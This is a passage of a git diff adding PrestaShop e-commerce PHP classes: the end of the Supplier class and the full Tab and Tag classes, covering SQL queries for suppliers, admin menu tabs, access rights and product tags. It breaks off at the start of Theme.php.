$query->where('s.`active` = 1'); + $query->orderBy(' s.`name` ASC'); + $query->limit($n, ($p - 1) * $n); + $query->groupBy('s.id_supplier'); + + $suppliers = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + if ($suppliers === false) + return false; + if ($get_nb_products) + { + $sql_groups = ''; + if (!$all_groups) + { + $groups = FrontController::getCurrentCustomerGroups(); + $sql_groups = (count($groups) ? 'IN ('.implode(',', $groups).')' : '= 1'); + } + foreach ($suppliers as $key => $supplier) + { + $sql = ' + SELECT DISTINCT(ps.`id_product`) + FROM `'._DB_PREFIX_.'product_supplier` ps + JOIN `'._DB_PREFIX_.'product` p ON (ps.`id_product`= p.`id_product`) + '.Shop::addSqlAssociation('product', 'p').' + WHERE ps.`id_supplier` = '.(int)$supplier['id_supplier'].' + AND ps.id_product_attribute = 0'. + ($active ? ' AND product_shop.`active` = 1' : ''). + ($all_groups ? '' :' + AND ps.`id_product` IN ( + SELECT cp.`id_product` + FROM `'._DB_PREFIX_.'category_group` cg + LEFT JOIN `'._DB_PREFIX_.'category_product` cp ON (cp.`id_category` = cg.`id_category`) + WHERE cg.`id_group` '.$sql_groups.' + )'); + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + $suppliers[$key]['nb_products'] = count($result); + } + } + + $nb_suppliers = count($suppliers); + $rewrite_settings = (int)Configuration::get('PS_REWRITING_SETTINGS'); + for ($i = 0; $i < $nb_suppliers; $i++) + if ($rewrite_settings) + $suppliers[$i]['link_rewrite'] = Tools::link_rewrite($suppliers[$i]['name'], false); + else + $suppliers[$i]['link_rewrite'] = 0; + return $suppliers; + } + + /** + * Return name from id + * + * @param integer $id_supplier Supplier ID + * @return string name + */ + static protected $cache_name = array(); + public static function getNameById($id_supplier) + { + if (!isset(self::$cache_name[$id_supplier])) + self::$cache_name[$id_supplier] = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT `name` FROM `'._DB_PREFIX_.'supplier` WHERE `id_supplier` = '.(int)$id_supplier); + return self::$cache_name[$id_supplier]; + } + + public static function getIdByName($name) + { + $result = Db::getInstance()->getRow(' + SELECT `id_supplier` + FROM `'._DB_PREFIX_.'supplier` + WHERE `name` = \''.pSQL($name).'\''); + + if (isset($result['id_supplier'])) + return (int)$result['id_supplier']; + + return false; + } + + public static function getProducts($id_supplier, $id_lang, $p, $n, + $order_by = null, $order_way = null, $get_total = false, $active = true, $active_category = true) + { + $context = Context::getContext(); + $front = true; + if (!in_array($context->controller->controller_type, array('front', 'modulefront'))) + $front = false; + + if ($p < 1) $p = 1; + if (empty($order_by) || $order_by == 'position') $order_by = 'name'; + if (empty($order_way)) $order_way = 'ASC'; + + if (!Validate::isOrderBy($order_by) || !Validate::isOrderWay($order_way)) + die (Tools::displayError()); + + $groups = FrontController::getCurrentCustomerGroups(); + $sql_groups = (count($groups) ? 'IN ('.implode(',', $groups).')' : '= 1'); + + /* Return only the number of products */ + if ($get_total) + { + $sql = ' + SELECT DISTINCT(ps.`id_product`) + FROM `'._DB_PREFIX_.'product_supplier` ps + JOIN `'._DB_PREFIX_.'product` p ON (ps.`id_product`= p.`id_product`) + '.Shop::addSqlAssociation('product', 'p').' + WHERE ps.`id_supplier` = '.(int)$id_supplier.' + AND ps.id_product_attribute = 0'. + ($active ? ' AND product_shop.`active` = 1' : '').' + '.($front ? ' AND product_shop.`visibility` IN ("both", "catalog")' : '').' + AND p.`id_product` IN ( + SELECT cp.`id_product` + FROM `'._DB_PREFIX_.'category_group` cg + LEFT JOIN `'._DB_PREFIX_.'category_product` cp ON (cp.`id_category` = cg.`id_category`)'. + ($active_category ? ' INNER JOIN `'._DB_PREFIX_.'category` ca ON cp.`id_category` = ca.`id_category` AND ca.`active` = 1' : '').' + WHERE cg.`id_group` '.$sql_groups.' + )'; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + return (int)count($result); + } + + $nb_days_new_product = Validate::isUnsignedInt(Configuration::get('PS_NB_DAYS_NEW_PRODUCT')) ? Configuration::get('PS_NB_DAYS_NEW_PRODUCT') : 20; + + if (strpos('.', $order_by) > 0) + { + $order_by = explode('.', $order_by); + $order_by = pSQL($order_by[0]).'.`'.pSQL($order_by[1]).'`'; + } + $alias = ''; + if (in_array($order_by, array('price', 'date_add', 'date_upd'))) + $alias = 'product_shop.'; + elseif ($order_by == 'id_product') + $alias = 'p.'; + elseif ($order_by == 'manufacturer_name') + { + $order_by = 'name'; + $alias = 'm.'; + } + + $sql = 'SELECT p.*, product_shop.*, stock.out_of_stock, + IFNULL(stock.quantity, 0) as quantity, + pl.`description`, + pl.`description_short`, + pl.`link_rewrite`, + pl.`meta_description`, + pl.`meta_keywords`, + pl.`meta_title`, + pl.`name`, + MAX(image_shop.`id_image`) id_image, + il.`legend`, + s.`name` AS supplier_name, + DATEDIFF(p.`date_add`, DATE_SUB(NOW(), INTERVAL '.($nb_days_new_product).' DAY)) > 0 AS new, + m.`name` AS manufacturer_name + FROM `'._DB_PREFIX_.'product` p + '.Shop::addSqlAssociation('product', 'p').' + JOIN `'._DB_PREFIX_.'product_supplier` ps ON (ps.id_product = p.id_product + AND ps.id_product_attribute = 0) + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON (p.`id_product` = pl.`id_product` + AND pl.`id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('pl').') + LEFT JOIN `'._DB_PREFIX_.'image` i ON (i.`id_product` = p.`id_product`)'. + Shop::addSqlAssociation('image', 'i', false, 'image_shop.cover=1').' + LEFT JOIN `'._DB_PREFIX_.'image_lang` il ON (i.`id_image` = il.`id_image` + AND il.`id_lang` = '.(int)$id_lang.') + LEFT JOIN `'._DB_PREFIX_.'supplier` s ON s.`id_supplier` = p.`id_supplier` + LEFT JOIN `'._DB_PREFIX_.'manufacturer` m ON m.`id_manufacturer` = p.`id_manufacturer` + '.Product::sqlStock('p').' + WHERE ps.`id_supplier` = '.(int)$id_supplier. + ($active ? ' AND product_shop.`active` = 1' : '').' + '.($front ? ' AND product_shop.`visibility` IN ("both", "catalog")' : '').' + AND p.`id_product` IN ( + SELECT cp.`id_product` + FROM `'._DB_PREFIX_.'category_group` cg + LEFT JOIN `'._DB_PREFIX_.'category_product` cp ON (cp.`id_category` = cg.`id_category`)'. + ($active_category ? ' INNER JOIN `'._DB_PREFIX_.'category` ca ON cp.`id_category` = ca.`id_category` AND ca.`active` = 1' : '').' + WHERE cg.`id_group` '.$sql_groups.' + ) + GROUP BY product_shop.id_product + ORDER BY '.$alias.pSQL($order_by).' '.pSQL($order_way).' + LIMIT '.(((int)$p - 1) * (int)$n).','.(int)$n; + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + + if (!$result) + return false; + + if ($order_by == 'price') + Tools::orderbyPrice($result, $order_way); + + return Product::getProductsProperties($id_lang, $result); + } + + public function getProductsLite($id_lang) + { + $context = Context::getContext(); + $front = true; + if (!in_array($context->controller->controller_type, array('front', 'modulefront'))) + $front = false; + + $sql = ' + SELECT p.`id_product`, + pl.`name` + FROM `'._DB_PREFIX_.'product` p + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON ( + p.`id_product` = pl.`id_product` + AND pl.`id_lang` = '.(int)$id_lang.' + ) + INNER JOIN `'._DB_PREFIX_.'product_supplier` ps ON ( + ps.`id_product` = p.`id_product` + AND ps.`id_supplier` = '.(int)$this->id.' + ) + '.($front ? ' WHERE product_shop.`visibility` IN ("both", "catalog")' : '').' + GROUP BY p.`id_product`'; + + $res = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + return $res; + } + + /* + * Tells if a supplier exists + * + * @param $id_supplier Supplier id + * @return boolean + */ + public static function supplierExists($id_supplier) + { + $query = new DbQuery(); + $query->select('id_supplier'); + $query->from('supplier'); + $query->where('id_supplier = '.(int)$id_supplier); + $res = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + + return ($res > 0); + } + + /** + * @see ObjectModel::delete() + */ + public function delete() + { + if (parent::delete()) + { + CartRule::cleanProductRuleIntegrity('suppliers', $this->id); + return $this->deleteImage(); + } + } + + /** + * Gets product informations + * + * @since 1.5.0 + * @param int $id_supplier + * @param int $id_product + * @param int $id_product_attribute + * @return array + */ + public static function getProductInformationsBySupplier($id_supplier, $id_product, $id_product_attribute = 0) + { + $query = new DbQuery(); + $query->select('product_supplier_reference, product_supplier_price_te, id_currency'); + $query->from('product_supplier'); + $query->where('id_supplier = '.(int)$id_supplier); + $query->where('id_product = '.(int)$id_product); + $query->where('id_product_attribute = '.(int)$id_product_attribute); + $res = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + + if (count($res)) + return $res[0]; + } +} + diff --git a/classes/Tab.php b/classes/Tab.php new file mode 100755 index 0000000..19d8390 --- /dev/null +++ b/classes/Tab.php @@ -0,0 +1,553 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class TabCore extends ObjectModel +{ + /** @var string Displayed name*/ + public $name; + + /** @var string Class and file name*/ + public $class_name; + + public $module; + + /** @var integer parent ID */ + public $id_parent; + + /** @var integer position */ + public $position; + + /** @var integer active */ + public $active = true; + + const TAB_MODULE_LIST_URL = 'api.prestashop.com/xml/tab_modules_list.xml'; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'tab', + 'primary' => 'id_tab', + 'multilang' => true, + 'fields' => array( + 'id_parent' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'position' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'module' => array('type' => self::TYPE_STRING, 'validate' => 'isTabName', 'size' => 64), + 'class_name' => array('type' => self::TYPE_STRING, 'required' => true, 'size' => 64), + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + + // Lang fields + 'name' => array('type' => self::TYPE_STRING, 'lang' => true, 'required' => true, 'validate' => 'isGenericName', 'size' => 32), + ), + ); + + protected static $_getIdFromClassName = null; + + /** + * additionnal treatments for Tab when creating new one : + * - generate a new position + * - add access for admin profile + * + * @param boolean $autodate + * @param boolean $null_values + * @return int id_tab + */ + public function add($autodate = true, $null_values = false) + { + // @retrocompatibility with old menu (before 1.5.0.9) + $retro = array( + 'AdminPayment' => 'AdminParentModules', + 'AdminOrders' => 'AdminParentOrders', + 'AdminCustomers' => 'AdminParentCustomer', + 'AdminShipping' => 'AdminParentShipping', + 'AdminPreferences' => 'AdminParentPreferences', + 'AdminStats' => 'AdminParentStats', + 'AdminEmployees' => 'AdminAdmin', + ); + $class_name = Tab::getClassNameById($this->id_parent); + if (isset($retro[$class_name])) + $this->id_parent = Tab::getIdFromClassName($retro[$class_name]); + self::$_cache_tabs = array(); + + // Set good position for new tab + $this->position = Tab::getNewLastPosition($this->id_parent); + + // Add tab + if (parent::add($autodate, $null_values)) + { + // refresh cache when adding new tab + self::$_getIdFromClassName[strtolower($this->class_name)] = $this->id; + return Tab::initAccess($this->id); + } + return false; + } + + /** When creating a new tab $id_tab, this add default rights to the table access + * + * @todo this should not be public static but protected + * @param int $id_tab + * @param Context $context + * @return boolean true if succeed + */ + public static function initAccess($id_tab, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + if (!$context->employee || !$context->employee->id_profile) + return false; + + /* Profile selection */ + $profiles = Db::getInstance()->executeS('SELECT `id_profile` FROM '._DB_PREFIX_.'profile WHERE `id_profile` != 1'); + if (!$profiles || empty($profiles)) + return true; + + /* Query definition */ + $query = 'REPLACE INTO `'._DB_PREFIX_.'access` (`id_profile`, `id_tab`, `view`, `add`, `edit`, `delete`) VALUES '; + $query .= '(1, '.(int)$id_tab.', 1, 1, 1, 1),'; + + foreach ($profiles as $profile) + { + $rights = $profile['id_profile'] == $context->employee->id_profile ? 1 : 0; + $query .= '('.(int)$profile['id_profile'].', '.(int)$id_tab.', '.(int)$rights.', '.(int)$rights.', '.(int)$rights.', '.(int)$rights.'),'; + } + $query = trim($query, ', '); + return Db::getInstance()->execute($query); + } + + public function delete() + { + if (Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'access WHERE `id_tab` = '.(int)$this->id) && parent::delete()) + return $this->cleanPositions($this->id_parent); + return false; + } + + /** + * Get tab id + * + * @return integer tab id + */ + public static function getCurrentTabId() + { + $id_tab = Tab::getIdFromClassName(Tools::getValue('controller')); + // retro-compatibility 1.4/1.5 + if (empty ($id_tab)) + $id_tab = Tab::getIdFromClassName(Tools::getValue('tab')); + return $id_tab; + } + + /** + * Get tab parent id + * + * @return integer tab parent id + */ + public static function getCurrentParentId() + { + if ($result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT `id_parent` + FROM `'._DB_PREFIX_.'tab` + WHERE LOWER(class_name) = \''.pSQL(Tools::strtolower(Tools::getValue('controller'))).'\'')) + return $result['id_parent']; + return -1; + } + + /** + * Get tab + * + * @return array tab + */ + public static function getTab($id_lang, $id_tab) + { + /* Tabs selection */ + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT * + FROM `'._DB_PREFIX_.'tab` t + LEFT JOIN `'._DB_PREFIX_.'tab_lang` tl + ON (t.`id_tab` = tl.`id_tab` AND tl.`id_lang` = '.(int)$id_lang.') + WHERE t.`id_tab` = '.(int)$id_tab + ); + } + + /** + * Return the list of tab used by a module + * + * @static + * @return array + */ + public static function getModuleTabList() + { + $list = array(); + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT t.`class_name`, t.`module` + FROM `'._DB_PREFIX_.'tab` t + WHERE t.`module` IS NOT NULL AND t.`module` != ""'); + + foreach ($result as $detail) + $list[strtolower($detail['class_name'])] = $detail; + return $list; + } + + /** + * Get tabs + * + * @return array tabs + */ + protected static $_cache_tabs = array(); + public static function getTabs($id_lang, $id_parent = null) + { + if (!isset(self::$_cache_tabs[$id_lang])) + { + self::$_cache_tabs[$id_lang] = array(); + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'tab` t + LEFT JOIN `'._DB_PREFIX_.'tab_lang` tl + ON (t.`id_tab` = tl.`id_tab` AND tl.`id_lang` = '.(int)$id_lang.') + ORDER BY t.`position` ASC + '); + foreach ($result as $row) + { + if (!isset(self::$_cache_tabs[$id_lang][$row['id_parent']])) + self::$_cache_tabs[$id_lang][$row['id_parent']] = array(); + self::$_cache_tabs[$id_lang][$row['id_parent']][] = $row; + } + } + if ($id_parent === null) + { + $array_all = array(); + foreach (self::$_cache_tabs[$id_lang] as $array_parent) + $array_all = array_merge($array_all, $array_parent); + return $array_all; + } + return (isset(self::$_cache_tabs[$id_lang][$id_parent]) ? self::$_cache_tabs[$id_lang][$id_parent] : array()); + } + + /** + * Get tab id from name + * + * @param string class_name + * @return int id_tab + */ + public static function getIdFromClassName($class_name) + { + $class_name = strtolower($class_name); + if (self::$_getIdFromClassName === null) + { + self::$_getIdFromClassName = array(); + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT id_tab, class_name FROM `'._DB_PREFIX_.'tab`'); + foreach ($result as $row) + self::$_getIdFromClassName[strtolower($row['class_name'])] = $row['id_tab']; + } + return (isset(self::$_getIdFromClassName[$class_name]) ? (int)self::$_getIdFromClassName[$class_name] : false); + } + + /** + * Get collection from module name + * @static + * @param $module string Module name + * @param null $id_lang integer Language ID + * @return array|Collection Collection of tabs (or empty array) + */ + public static function getCollectionFromModule($module, $id_lang = null) + { + if (is_null($id_lang)) + $id_lang = Context::getContext()->language->id; + + if (!Validate::isModuleName($module)) + return array(); + + $tabs = new Collection('Tab', (int)$id_lang); + $tabs->where('module', '=', $module); + return $tabs; + } + + /** + * Enabling tabs for module + * @static + * @param $module string Module Name + * @return bool Status + */ + public static function enablingForModule($module) + { + $tabs = Tab::getCollectionFromModule($module); + if (!empty($tabs)) + { + foreach ($tabs as $tab) + { + $tab->active = 1; + $tab->save(); + } + return true; + } + return false; + } + + /** + * Disabling tabs for module + * @static + * @param $module string Module name + * @return bool Status + */ + public static function disablingForModule($module) + { + $tabs = Tab::getCollectionFromModule($module); + if (!empty($tabs)) + { + foreach ($tabs as $tab) + { + $tab->active = 0; + $tab->save(); + } + return true; + } + return false; + } + + /** + * Get Instance from tab class name + * + * @param $class_name string Name of tab class + * @return Tab Tab object (empty if bad id or class name) + */ + public static function getInstanceFromClassName($class_name) + { + $id_tab = (int)Tab::getIdFromClassName($class_name); + return new Tab($id_tab); + } + + public static function getNbTabs($id_parent = null) + { + return (int)Db::getInstance()->getValue(' + SELECT COUNT(*) + FROM `'._DB_PREFIX_.'tab` t + '.(!is_null($id_parent) ? 'WHERE t.`id_parent` = '.(int)$id_parent : '') + ); + } + + /** + * return an available position in subtab for parent $id_parent + * + * @param mixed $id_parent + * @return int + */ + public static function getNewLastPosition($id_parent) + { + return (Db::getInstance()->getValue(' + SELECT IFNULL(MAX(position),0)+1 + FROM `'._DB_PREFIX_.'tab` + WHERE `id_parent` = '.(int)$id_parent + )); + } + + public function move($direction) + { + $nb_tabs = Tab::getNbTabs($this->id_parent); + if ($direction != 'l' && $direction != 'r') + return false; + if ($nb_tabs <= 1) + return false; + if ($direction == 'l' && $this->position <= 1) + return false; + if ($direction == 'r' && $this->position >= $nb_tabs) + return false; + + $new_position = ($direction == 'l') ? $this->position - 1 : $this->position + 1; + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'tab` t + SET position = '.(int)$this->position.' + WHERE id_parent = '.(int)$this->id_parent.' + AND position = '.(int)$new_position + ); + $this->position = $new_position; + return $this->update(); + } + + public function cleanPositions($id_parent) + { + $result = Db::getInstance()->executeS(' + SELECT `id_tab` + FROM `'._DB_PREFIX_.'tab` + WHERE `id_parent` = '.(int)$id_parent.' + ORDER BY `position` + '); + $sizeof = count($result); + for ($i = 0; $i < $sizeof; ++$i) + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'tab` + SET `position` = '.($i + 1).' + WHERE `id_tab` = '.(int)$result[$i]['id_tab'] + ); + return true; + } + + public function updatePosition($way, $position) + { + if (!$res = Db::getInstance()->executeS(' + SELECT t.`id_tab`, t.`position`, t.`id_parent` + FROM `'._DB_PREFIX_.'tab` t + WHERE t.`id_parent` = '.(int)$this->id_parent.' + ORDER BY t.`position` ASC' + )) + return false; + + foreach ($res as $tab) + if ((int)$tab['id_tab'] == (int)$this->id) + $moved_tab = $tab; + + if (!isset($moved_tab) || !isset($position)) + return false; + // < and > statements rather than BETWEEN operator + // since BETWEEN is treated differently according to databases + $result = (Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'tab` + SET `position`= `position` '.($way ? '- 1' : '+ 1').' + WHERE `position` + '.($way + ? '> '.(int)$moved_tab['position'].' AND `position` <= '.(int)$position + : '< '.(int)$moved_tab['position'].' AND `position` >= '.(int)$position).' + AND `id_parent`='.(int)$moved_tab['id_parent']) + && Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'tab` + SET `position` = '.(int)$position.' + WHERE `id_parent` = '.(int)$moved_tab['id_parent'].' + AND `id_tab`='.(int)$moved_tab['id_tab'])); + return $result; + } + + public static function checkTabRights($id_tab) + { + static $tabAccesses = null; + + if (Context::getContext()->employee->id_profile == _PS_ADMIN_PROFILE_) + return true; + + if ($tabAccesses === null) + $tabAccesses = Profile::getProfileAccesses(Context::getContext()->employee->id_profile); + + if (isset($tabAccesses[(int)$id_tab]['view'])) + return ($tabAccesses[(int)$id_tab]['view'] === '1'); + return false; + } + + public static function recursiveTab($id_tab, $tabs) + { + $admin_tab = Tab::getTab((int)Context::getContext()->language->id, $id_tab); + $tabs[] = $admin_tab; + if ($admin_tab['id_parent'] > 0) + $tabs = Tab::recursiveTab($admin_tab['id_parent'], $tabs); + return $tabs; + } + + /** + * Overrides update to set position to last when changing parent tab + * + * @see ObjectModel::update + * @param bool $null_values + * @return bool + */ + public function update($null_values = false) + { + $current_tab = new Tab($this->id); + if ($current_tab->id_parent != $this->id_parent) + $this->position = Tab::getNewLastPosition($this->id_parent); + + self::$_cache_tabs = array(); + return parent::update($null_values); + } + + public static function getTabByIdProfile($id_parent, $id_profile) + { + return Db::getInstance()->executeS(' + SELECT t.`id_tab`, t.`id_parent`, tl.`name`, a.`id_profile` + FROM `'._DB_PREFIX_.'tab` t + LEFT JOIN `'._DB_PREFIX_.'access` a + ON (a.`id_tab` = t.`id_tab`) + LEFT JOIN `'._DB_PREFIX_.'tab_lang` tl + ON (t.`id_tab` = tl.`id_tab` AND tl.`id_lang` = '.(int)Context::getContext()->language->id.') + WHERE a.`id_profile` = '.(int)$id_profile.' + AND t.`id_parent` = '.(int)$id_parent.' + AND a.`view` = 1 + AND a.`edit` = 1 + AND a.`delete` = 1 + AND a.`add` = 1 + AND t.`id_parent` != 0 AND t.`id_parent` != -1 + ORDER BY t.`id_parent` ASC + '); + } + + /** + * @since 1.5.0 + */ + public static function getClassNameById($id_tab) + { + return Db::getInstance()->getValue('SELECT class_name FROM '._DB_PREFIX_.'tab WHERE id_tab = '.(int)$id_tab); + } + + public static function getTabModulesList($id_tab) + { + $modules_list = array('default_list' => array(), 'slider_list' => array()); + $xml_tab_modules_list = false; + $db_tab_module_list = Db::getInstance()->executeS(' + SELECT module + FROM '._DB_PREFIX_.'tab_module_preference + WHERE `id_tab` = '.(int)$id_tab.' + AND `id_employee` = '.(int)Context::getContext()->employee->id + ); + + if (file_exists(_PS_ROOT_DIR_.Module::CACHE_FILE_TAB_MODULES_LIST)) + $xml_tab_modules_list = @simplexml_load_file(_PS_ROOT_DIR_.Module::CACHE_FILE_TAB_MODULES_LIST); + + $class_name = null; + $display_type = 'default_list'; + if ($xml_tab_modules_list) + foreach($xml_tab_modules_list->tab as $tab) + { + foreach($tab->attributes() as $key => $value) + if ($key == 'class_name') + $class_name = (string)$value; + + if (Tab::getIdFromClassName((string)$class_name) == $id_tab) + { + foreach($tab->attributes() as $key => $value) + if ($key == 'display_type') + $display_type = (string)$value; + + foreach ($tab->children() as $module) + foreach ($module->attributes() as $k => $v) + if ($k == 'name') + $modules_list[$display_type][] = (string)$v; + } + } + + //merge tab modules preferences from db with xml + if (is_array($db_tab_module_list)) + foreach($db_tab_module_list as $m) + if (!in_array($m, $modules_list)) + $modules_list['slider_list'][] = $m['module']; + + return $modules_list; + } +} \ No newline at end of file diff --git a/classes/Tag.php b/classes/Tag.php new file mode 100755 index 0000000..5386ff8 --- /dev/null +++ b/classes/Tag.php @@ -0,0 +1,215 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class TagCore extends ObjectModel +{ + /** @var integer Language id */ + public $id_lang; + + /** @var string Name */ + public $name; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'tag', + 'primary' => 'id_tag', + 'fields' => array( + 'id_lang' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'name' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'required' => true), + ), + ); + + + protected $webserviceParameters = array( + 'fields' => array( + 'id_lang' => array('xlink_resource' => 'languages'), + ), + ); + + public function __construct($id = null, $name = null, $id_lang = null) + { + $this->def = Tag::getDefinition($this); + $this->setDefinitionRetrocompatibility(); + + if ($id) + parent::__construct($id); + else if ($name && Validate::isGenericName($name) && $id_lang && Validate::isUnsignedId($id_lang)) + { + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT * + FROM `'._DB_PREFIX_.'tag` t + WHERE `name` LIKE \''.pSQL($name).'\' AND `id_lang` = '.(int)$id_lang); + + if ($row) + { + $this->id = (int)$row['id_tag']; + $this->id_lang = (int)$row['id_lang']; + $this->name = $row['name']; + } + } + } + + public function add($autodate = true, $null_values = false) + { + if (!parent::add($autodate, $null_values)) + return false; + else if (isset($_POST['products'])) + return $this->setProducts(Tools::getValue('products')); + return true; + } + + /** + * Add several tags in database and link it to a product + * + * @param integer $id_lang Language id + * @param integer $id_product Product id to link tags with + * @param string|array $tag_list List of tags, as array or as a string with comas + * @return boolean Operation success + */ + public static function addTags($id_lang, $id_product, $tag_list, $separator = ',') + { + if (!Validate::isUnsignedId($id_lang)) + return false; + + if (!is_array($tag_list)) + $tag_list = array_filter(array_unique(array_map('trim', preg_split('#\\'.$separator.'#', $tag_list, null, PREG_SPLIT_NO_EMPTY)))); + + $list = array(); + foreach ($tag_list as $tag) + { + if (!Validate::isGenericName($tag)) + return false; + $tag_obj = new Tag(null, trim($tag), (int)$id_lang); + + /* Tag does not exist in database */ + if (!Validate::isLoadedObject($tag_obj)) + { + $tag_obj->name = trim($tag); + $tag_obj->id_lang = (int)$id_lang; + $tag_obj->add(); + } + if (!in_array($tag_obj->id, $list)) + $list[] = $tag_obj->id; + } + $data = ''; + foreach ($list as $tag) + $data .= '('.(int)$tag.','.(int)$id_product.'),'; + $data = rtrim($data, ','); + + return Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'product_tag` (`id_tag`, `id_product`) + VALUES '.$data); + } + + public static function getMainTags($id_lang, $nb = 10) + { + $groups = FrontController::getCurrentCustomerGroups(); + $sql_groups = (count($groups) ? 'IN ('.implode(',', $groups).')' : '= 1'); + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT t.name, COUNT(pt.id_tag) AS times + FROM `'._DB_PREFIX_.'product_tag` pt + LEFT JOIN `'._DB_PREFIX_.'tag` t ON (t.id_tag = pt.id_tag) + LEFT JOIN `'._DB_PREFIX_.'product` p ON (p.id_product = pt.id_product) + '.Shop::addSqlAssociation('product', 'p').' + WHERE t.`id_lang` = '.(int)$id_lang.' + AND product_shop.`active` = 1 + AND product_shop.`id_product` IN ( + SELECT cp.`id_product` + FROM `'._DB_PREFIX_.'category_group` cg + LEFT JOIN `'._DB_PREFIX_.'category_product` cp ON (cp.`id_category` = cg.`id_category`) + WHERE cg.`id_group` '.$sql_groups.' + ) + GROUP BY t.id_tag + ORDER BY times DESC + LIMIT 0, '.(int)$nb); + } + + public static function getProductTags($id_product) + { + if (!$tmp = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT t.`id_lang`, t.`name` + FROM '._DB_PREFIX_.'tag t + LEFT JOIN '._DB_PREFIX_.'product_tag pt ON (pt.id_tag = t.id_tag) + WHERE pt.`id_product`='.(int)$id_product)) + return false; + $result = array(); + foreach ($tmp as $tag) + $result[$tag['id_lang']][] = $tag['name']; + return $result; + } + + public function getProducts($associated = true, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + $id_lang = $this->id_lang ? $this->id_lang : $context->language->id; + + if (!$this->id && $associated) + return array(); + + $in = $associated ? 'IN' : 'NOT IN'; + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT pl.name, pl.id_product + FROM `'._DB_PREFIX_.'product` p + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON p.id_product = pl.id_product'.Shop::addSqlRestrictionOnLang('pl').' + '.Shop::addSqlAssociation('product', 'p').' + WHERE pl.id_lang = '.(int)$id_lang.' + AND product_shop.active = 1 + '.($this->id ? ('AND p.id_product '.$in.' (SELECT pt.id_product FROM `'._DB_PREFIX_.'product_tag` pt WHERE pt.id_tag = '.(int)$this->id.')') : '').' + ORDER BY pl.name'); + } + + public function setProducts($array) + { + $result = Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'product_tag WHERE id_tag = '.(int)$this->id); + if (is_array($array)) + { + $array = array_map('intval', $array); + $result &= ObjectModel::updateMultishopTable('Product', array('indexed' => 0), 'a.id_product IN ('.implode(',', $array).')'); + $ids = array(); + foreach ($array as $id_product) + $ids[] = '('.(int)$id_product.','.(int)$this->id.')'; + + if ($result) + { + $result &= Db::getInstance()->execute('INSERT INTO '._DB_PREFIX_.'product_tag (id_product, id_tag) VALUES '.implode(',', $ids)); + if (Configuration::get('PS_SEARCH_INDEXATION')) + $result &= Search::indexation(false); + } + } + return $result; + } + + public static function deleteTagsForProduct($id_product) + { + return Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'product_tag` WHERE `id_product` = '.(int)$id_product); + } +} + + diff --git a/classes/Theme.php b/classes/Theme.php new file mode 100755 index 0000000..73b82b7 --- /dev/null +++ b/classes/Theme.php @@ -0,0 +1,113 @@ +<?php +/* +* 